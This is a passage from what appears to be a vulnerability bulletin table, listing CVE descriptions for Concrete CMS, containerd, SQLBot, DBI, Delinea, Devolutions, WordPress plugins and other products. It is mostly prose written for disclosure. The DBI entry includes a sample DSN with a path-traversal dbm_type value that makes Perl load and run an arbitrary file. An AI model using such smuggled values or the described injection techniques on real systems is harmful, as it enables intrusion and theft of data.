CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks Suraj Bhosale for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85385&quot; target=&quot;_blank&quot;&gt;CVE-2026-85385&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS before 9.5.4 did not sanitize XML and XSLT documents uploaded through a public Form Block file-upload question. Plain XML uploads were validated by file extension only and stored as publicly accessible files that were served inline from the application&#039;s own origin. An unauthenticated visitor could therefore store an XML document containing an xml-stylesheet processing instruction that referenced an attacker-supplied, same-origin XSLT stylesheet. When a victim opened the stored file directly in a browser, the browser fetched the stylesheet, transformed the document into HTML, and executed attacker-controlled JavaScript in the Concrete CMS origin (stored cross-site scripting). If the victim was an authenticated administrator, the script could act with that administrator&#039;s session, and the reporter demonstrated creation of a new user in the Administrators group.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks Valentin SARRE (Independent security researcher) for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85386&quot; target=&quot;_blank&quot;&gt;CVE-2026-85386&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS before 9.5.4 re-authorized OAuth REST API requests from the bearer token alone and did not re-check the state of the account the token had been issued to. The resource server&#039;s authorization validator confirmed only that a token existed, had not expired, and had not been explicitly revoked, and deactivating a user did not revoke that user&#039;s outstanding tokens. As a result, a deactivated user retained full access to /ccm/api/1.0/* for the remaining lifetime of any token already issued to them. The same gap applied to accounts that had been deleted or locked pending a forced password reset.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.0 with vector CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Myq Larson for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85387&quot; target=&quot;_blank&quot;&gt;CVE-2026-85387&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9 through 9.5.3 did not confirm that a board InstanceItem submitted to the custom-slot preview endpoint belonged to the board instance the requesting user was authorized to edit, and did not enforce page-view permission before generating page-backed summary content. As a result, an authenticated user holding edit-board-contents permission on a single board instance could submit the identifier of an item belonging to a different board instance and receive summary fields, including the page title and description, of an underlying page the same user was otherwise forbidden to view.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.3 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks Pakung for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87028&quot; target=&quot;_blank&quot;&gt;CVE-2026-87028&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;n Concrete CMS 9.2.0 through 9.5.3, the REST API user creation endpoint (POST /ccm/api/1.0/users, the add() method of concrete/src/Api/Controller/Users.php) did not perform a permission check before creating an account. As a result, any valid OAuth token carrying the users:add scope, including a client_credentials token with no associated user context, could create active, validated user accounts, bypassing email verification and administrator approval. Under default registration settings the created accounts could then edit page content, providing a path to stored cross-site scripting and further compromise.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87031&quot; target=&quot;_blank&quot;&gt;CVE-2026-87031&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;containerd--containerd&lt;/td&gt;
&lt;td&gt;containerd is an open-source container runtime. Prior to 1.7.35, 2.0.12, 2.2.8, and 2.3.5, containerd on Linux with the CRI plugin enabled can indefinitely block the drainExecSyncIO goroutine in internal/cri/server/container_execsync.go when CRI ExecSync is used by exec probes or lifecycle hooks that launch long-lived background child processes retaining standard input and output pipes. The input and output drain phase has no default timeout and did not stop when the request context was canceled, so repeated ExecSync invocations can accumulate blocked goroutines and host memory. The resulting resource exhaustion can cause the OOM killer to terminate containerd, leaving the container runtime unavailable until restart. Deployments not using containerd&#039;s CRI implementation and containers not running on Linux are not affected. This issue is fixed in versions 1.7.35, 2.0.12, 2.2.8, and 2.3.5.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53495&quot; target=&quot;_blank&quot;&gt;CVE-2026-53495&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--FXA5000&lt;/td&gt;
&lt;td&gt;Cross-site request forgery vulnerability exists in multiple Contec products. If a user views a specially crafted page while logged in to the affected product, unintended operations may be performed.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82764&quot; target=&quot;_blank&quot;&gt;CVE-2026-82764&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;craftcms--commerce&lt;/td&gt;
&lt;td&gt;Craft Commerce is an ecommerce platform for Craft CMS. From 4.0.0 until 4.11.2 and 5.6.5, CartController in src/controllers/CartController.php activates its RateLimiter only when the number POST or GET parameter is supplied. An unauthenticated attacker can submit couponCode values to actionUpdateCart for the session-based cart while omitting number, preventing creation of the IP rate-limit identity and allowing unlimited automated coupon-code guessing and enumeration. This issue is fixed in versions 4.11.2 and 5.6.5.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55795&quot; target=&quot;_blank&quot;&gt;CVE-2026-55795&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CRMEB --CRMEB v6.0.0&lt;/td&gt;
&lt;td&gt;An authenticated Server-Side Request Forgery (SSRF) in the /adminapi/file/online_upload component of CRMEB v6.0.0 allows attackers to scan internal resources via a crafted POST request.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79425&quot; target=&quot;_blank&quot;&gt;CVE-2026-79425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cubecart--v6&lt;/td&gt;
&lt;td&gt;CubeCart is an ecommerce software solution. Prior to 6.7.5, the reset_id download-counter action and delete_card stored-payment-card action in admin/sources/orders.index.inc.php use state-changing GET requests and are omitted from the protection map in admin/skins/default/csrf.inc.php. A remote attacker can induce an authenticated administrator to issue one of these requests without a validated session token, causing unintended resets of electronic download usage counters or deletion of stored customer payment-card tokens. This issue is fixed in version 6.7.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54642&quot; target=&quot;_blank&quot;&gt;CVE-2026-54642&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Curiosity GmbH--Curiosity Workspace&lt;/td&gt;
&lt;td&gt;An authenticated, non-guest user of Curiosity Workspace could enroll themselves as an administrator and member of an existing access group without an invitation or approval. It did not grant application-wide administrator privileges, and the vulnerability could not be used to obtain root access to the application or its underlying host.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88817&quot; target=&quot;_blank&quot;&gt;CVE-2026-88817&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cute Editor--Cute Editor&lt;/td&gt;
&lt;td&gt;Cute Editor for ASP.NET 6.4 is vulnerable to reflected cross-site scripting caused by improper validation of the Theme GET parameter in colorpicker_more.aspx. A remote, unauthenticated attacker can craft a URL that, once opened by a victim in a browser session authenticated to a site running the vulnerable component, executes arbitrary JavaScript in the security context of that site.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2021-3030&quot; target=&quot;_blank&quot;&gt;CVE-2021-3030&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cyberdrop-DL--cyberdrop-dl&lt;/td&gt;
&lt;td&gt;Cyberdrop-DL is a bulk asynchronous downloader for multiple file hosts. From 8.5.0 until 9.14.0, the Pixeldrain crawler uses substring host matching instead of requiring the input host to be an exact member of SUPPORTED_DOMAINS, and then reuses that input host for API requests. When a Pixeldrain API key is configured, processing a crafted URL from an attacker-controlled lookalike host causes cyberdrop_dl/crawlers/pixeldrain.py to send the Authorization header to that host. The URL may be introduced through a third-party site that can cause downloads for other sites, and the attacker receives the user&#039;s Pixeldrain API key. This issue is fixed in version 9.14.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54254&quot; target=&quot;_blank&quot;&gt;CVE-2026-54254&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CycloneDX--cyclonedx-node-npm&lt;/td&gt;
&lt;td&gt;@cyclonedx/cyclonedx-npm creates CycloneDX Software Bill of Materials from npm projects. Prior to version 6.0.0, the Windows fallback path in src/npmRunner.ts, used when npm_execpath does not provide the npm CLI path, can construct a shell command containing an untrusted value from the --workspace option. When an attacker can influence that option and the fallback npm execution path is reached, shell metacharacters in the workspace value can execute arbitrary operating-system commands with the privileges of the user running the CLI, allowing data access, file modification, or service disruption. This issue is fixed in version 6.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71538&quot; target=&quot;_blank&quot;&gt;CVE-2026-71538&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dataease--SQLBot&lt;/td&gt;
&lt;td&gt;SQLBot is an intelligent Text-to-SQL system based on large language models and RAG. Prior to 1.9.0, the POST /api/v1/datasource/parseExcel endpoint in backend/apps/datasource/api/datasource.py uses attacker-controlled multipart filename data when selecting where uploaded content is stored, writes the content before spreadsheet parsing and validation finish, and can transform a double-extension filename into a Python source file. An attacker able to submit a crafted multipart upload can use these behaviors to place attacker-controlled content in /opt/sqlbot/app/alembic/versions/ even when a spreadsheet parsing failure after the file write causes the endpoint to return an error. The planted file remains on disk, and subsequent SQLBot startup or migration processing causes Alembic to import the module and execute its module-level statements in the SQLBot application runtime. This issue is fixed in version 1.9.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53554&quot; target=&quot;_blank&quot;&gt;CVE-2026-53554&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dataease--SQLBot&lt;/td&gt;
&lt;td&gt;SQLBot is an intelligent Text-to-SQL system based on large language models and RAG. Prior to 1.9.0, an authenticated uploader can submit an image/svg+xml assistant UI logo through PATCH /api/v1/system/assistant/ui, and SQLBot stores the SVG without sanitizing or validating embedded active content. SQLBot later serves the file inline from the same application origin through GET /api/v1/system/assistant/picture/{filename}. When another user loads that generated resource, JavaScript embedded in the SVG executes in the SQLBot web application context, resulting in stored cross-site scripting with access to data and actions available to the victim&#039;s session. This issue is fixed in version 1.9.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53555&quot; target=&quot;_blank&quot;&gt;CVE-2026-53555&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dataease--SQLBot&lt;/td&gt;
&lt;td&gt;SQLBot is an intelligent Text-to-SQL system based on large language models and RAG. Prior to 1.9.0, the POST /api/v1/datasource/previewData endpoint in backend/apps/datasource/crud/datasource.py incorporates the client-controlled table_name value into generated SQL without safe identifier handling. An authenticated user can configure a datasource for SQLBot&#039;s internal PostgreSQL service and submit a crafted table_name that remains a SELECT operation under the read-only policy while invoking pg_read_file(), pg_read_binary_file(), or pg_ls_dir(). In the default tested trusted loopback authentication configuration, the internal connection accepts invalid credentials and executes with PostgreSQL superuser privileges, allowing filesystem content such as /etc/hosts and /etc/passwd to be returned in the previewData API response and potentially exposing configuration, credentials, authentication secrets, and source code. This issue is fixed in version 1.9.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53556&quot; target=&quot;_blank&quot;&gt;CVE-2026-53556&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dataease--SQLBot&lt;/td&gt;
&lt;td&gt;SQLBot is an intelligent Text-to-SQL system based on large language models and RAG. Prior to 1.9.0, an authenticated user can supply a crafted sheet[&quot;tableName&quot;] value in the Excel datasource configuration submitted through POST /api/v1/datasource/, and SQLBot stores that value without safe identifier handling. When the same datasource is later removed through DELETE /api/v1/datasource/{id}, the stored value is interpolated into datasource cleanup SQL and executed by PostgreSQL. This second-order SQL injection can invoke PostgreSQL COPY TO PROGRAM and execute arbitrary operating-system commands with the privileges of the postgres process inside the SQLBot container. This issue is fixed in version 1.9.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53557&quot; target=&quot;_blank&quot;&gt;CVE-2026-53557&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DBI --DBI&amp;nbsp;&lt;/td&gt;
&lt;td&gt;DBI versions before 1.653 for Perl load arbitrary modules via unvalidated dbm_type and dbm_mldbm attributes in DBD::DBM. DBD::DBM passes the dbm_type and dbm_mldbm connect attributes to require without checking that the value names a module. require treats a path-shaped string as a literal filename and does not consult @INC, so the attribute chooses the file that Perl loads and runs. The MLDBM::Serializer:: prefix that DBD::DBM prepends to dbm_mldbm is not a boundary: only the :: separators are rewritten to /, so a value containing / traverses out of the serializer directory. The value is also assigned to $MLDBM::Serializer, which MLDBM requires the same way when it ties the table. A caller that lets an untrusted party influence either attribute, for example through a DSN fragment or a parameter that selects a storage backend, runs the file-scope code of whatever module the value names. For example, my $dsn = &quot;dbi:DBM:f_dir=/var/db;dbm_type=../../Untrusted.pm&quot; my $dbh = DBI-&amp;gt;connect( $dsn ); Note that DBD::Gofer forwards connect attributes to the server side, and DBI::ProxyServer checks only that a DSN starts with a driver prefix.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78030&quot; target=&quot;_blank&quot;&gt;CVE-2026-78030&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Delinea--Secret Server (On-Prem)&lt;/td&gt;
&lt;td&gt;An unauthenticated user with access to Secret Server could leverage a padding oracle to decrypt or encrypt data using one of the server&#039;s cryptographic keys. The key itself is not exposed.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15638&quot; target=&quot;_blank&quot;&gt;CVE-2026-15638&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Delinea--Secret Server (On-Prem)&lt;/td&gt;
&lt;td&gt;An attacker can craft a malicious link that, if used by a legitimate user, may cause the user&#039;s browser to run JavaScript supplied by the attacker.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15639&quot; target=&quot;_blank&quot;&gt;CVE-2026-15639&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Delinea--Secret Server (On-Prem)&lt;/td&gt;
&lt;td&gt;Under certain conditions a valid SAML IdP response may be used to impersonate another Secret Server user.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15640&quot; target=&quot;_blank&quot;&gt;CVE-2026-15640&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Developers Italia--design-scuole-wordpress-theme&lt;/td&gt;
&lt;td&gt;A path traversal vulnerability exists in the reserved_file_check function of the&amp;nbsp;functions.php&amp;nbsp;file in the WordPress Design Scuole Italia theme. The vulnerability allows an unauthenticated attacker to download arbitrary files accessible by the web server process.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87791&quot; target=&quot;_blank&quot;&gt;CVE-2026-87791&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Developers Italia--design-scuole-wordpress-theme&lt;/td&gt;
&lt;td&gt;The &quot;Design Scuole Italia&quot; WordPress theme is affected by multiple Authorization Bypass vulnerabilities in the&amp;nbsp;dsi_pdf_generator&amp;nbsp;and&amp;nbsp;dsi_csv_generator&amp;nbsp;functions, allowing an unauthenticated attacker to access restricted &quot;Circolare&quot; content and registered users&#039; data. An unauthenticated RSS feed at&amp;nbsp;/circolare/feed/&amp;nbsp;further facilitates exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87792&quot; target=&quot;_blank&quot;&gt;CVE-2026-87792&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Developers Italia--design-scuole-wordpress-theme&lt;/td&gt;
&lt;td&gt;The &quot;Design Scuole Italia&quot; WordPress theme is affected by a Reflected XSS vulnerability in the&amp;nbsp;filters-scheda-didattica.php&amp;nbsp;file, allowing an unauthenticated attacker to execute arbitrary JavaScript in a victim&#039;s browser via a crafted URL containing a malicious&amp;nbsp;archive&amp;nbsp;parameter.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87793&quot; target=&quot;_blank&quot;&gt;CVE-2026-87793&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Developers Italia--design-scuole-wordpress-theme&lt;/td&gt;
&lt;td&gt;The &quot;Firma Circolare&quot; feature in the &quot;Design Scuole Italia&quot; WordPress theme allows an authenticated attacker to inject arbitrary HTML via the sign parameter, enabling forced redirection of visiting users to an attacker-controlled URL (Stored HTML Injection / Open Redirect).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89307&quot; target=&quot;_blank&quot;&gt;CVE-2026-89307&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Devolutions--PowerShell Universal&lt;/td&gt;
&lt;td&gt;Insertion of sensitive information into log file in the slow query logging feature in Devolutions PowerShell Universal 2026.2.5 and earlier allows an authenticated user with log read permission to obtain application tokens, data protection key material and other stored credentials via SQL parameter values written to the system log on instances backed by Microsoft SQL Server.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92237&quot; target=&quot;_blank&quot;&gt;CVE-2026-92237&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Devolutions--Server&lt;/td&gt;
&lt;td&gt;Improper certificate validation on LDAPS connections to Active Directory in&amp;nbsp;Devolutions Server 2026.2.16 and earlier allows a network-positioned attacker to intercept privileged directory service credentials via a spoofed domain controller certificate.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13327&quot; target=&quot;_blank&quot;&gt;CVE-2026-13327&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Devolutions--Server&lt;/td&gt;
&lt;td&gt;Improper certificate validation in the shared HTTP client used by synchronization and integration features in&amp;nbsp;Devolutions Server 2026.2.16 and earlier allows a network-positioned attacker to intercept and tamper with outbound TLS connections via a spoofed or self-signed certificate.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84850&quot; target=&quot;_blank&quot;&gt;CVE-2026-84850&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Devolutions--Server&lt;/td&gt;
&lt;td&gt;Improper access control in the vault entry listing feature in&amp;nbsp;Devolutions Server 2026.2.16 and earlier allows an authenticated user lacking the view-password permission to obtain cleartext passwords via a request to the entry listing endpoint with password disclosure parameters.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90969&quot; target=&quot;_blank&quot;&gt;CVE-2026-90969&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Devolutions--Server&lt;/td&gt;
&lt;td&gt;Server-Side Request Forgery (SSRF) in the VMware synchronization feature in&amp;nbsp;Devolutions Server 2026.2.16 and earlier allows a low-privileged authenticated user to obtain other users&#039; credentials and reach internal or cloud-metadata network endpoints via a crafted connection definition submitted for datacenter discovery.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90971&quot; target=&quot;_blank&quot;&gt;CVE-2026-90971&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dewa Kirim--Dewa Kirim&lt;/td&gt;
&lt;td&gt;The Dewa Kirim WordPress plugin through 1.0.0 does not escape delivery coordinates submitted at checkout before outputting them inside an inline script, allowing unauthenticated users to store JavaScript that runs in the session of an administrator who later opens the order.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87786&quot; target=&quot;_blank&quot;&gt;CVE-2026-87786&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dictionary--Dictionary&lt;/td&gt;
&lt;td&gt;The Dictionary WordPress plugin through 1.0 does not escape user input before reflecting it back in the responses of several directly accessible scripts, allowing unauthenticated attackers to perform Reflected Cross-Site Scripting attacks against anyone they can induce to submit a crafted request.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-15697&quot; target=&quot;_blank&quot;&gt;CVE-2025-15697&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dictionary--Dictionary&lt;/td&gt;
&lt;td&gt;The Dictionary WordPress plugin through 1.0 does not have authorisation, sanitisation or escaping in place when adding or updating dictionary entries, allowing unauthenticated users to store arbitrary web scripts which will execute when a user views an affected entry.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88792&quot; target=&quot;_blank&quot;&gt;CVE-2026-88792&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;digint--btrbk&lt;/td&gt;
&lt;td&gt;btrbk is a tool for creating snapshots and remote backups of Btrfs subvolumes. From 0.29.0 until 0.32.7, btrbk&#039;s ssh_filter_btrbk.sh constructs allow_stream_match with a start anchor but without an end-of-string anchor for the complete command. A user restricted through an authorized_keys forced command can append a trailing pipe command after a valid btrbk command prefix, bypassing the allowlist and executing arbitrary commands with the privileges of the backup-target SSH account. Deployments that do not use ssh_filter_btrbk.sh in authorized_keys are not affected. This issue is fixed in version 0.32.7.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62943&quot; target=&quot;_blank&quot;&gt;CVE-2026-62943&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;djust-org--djust&lt;/td&gt;
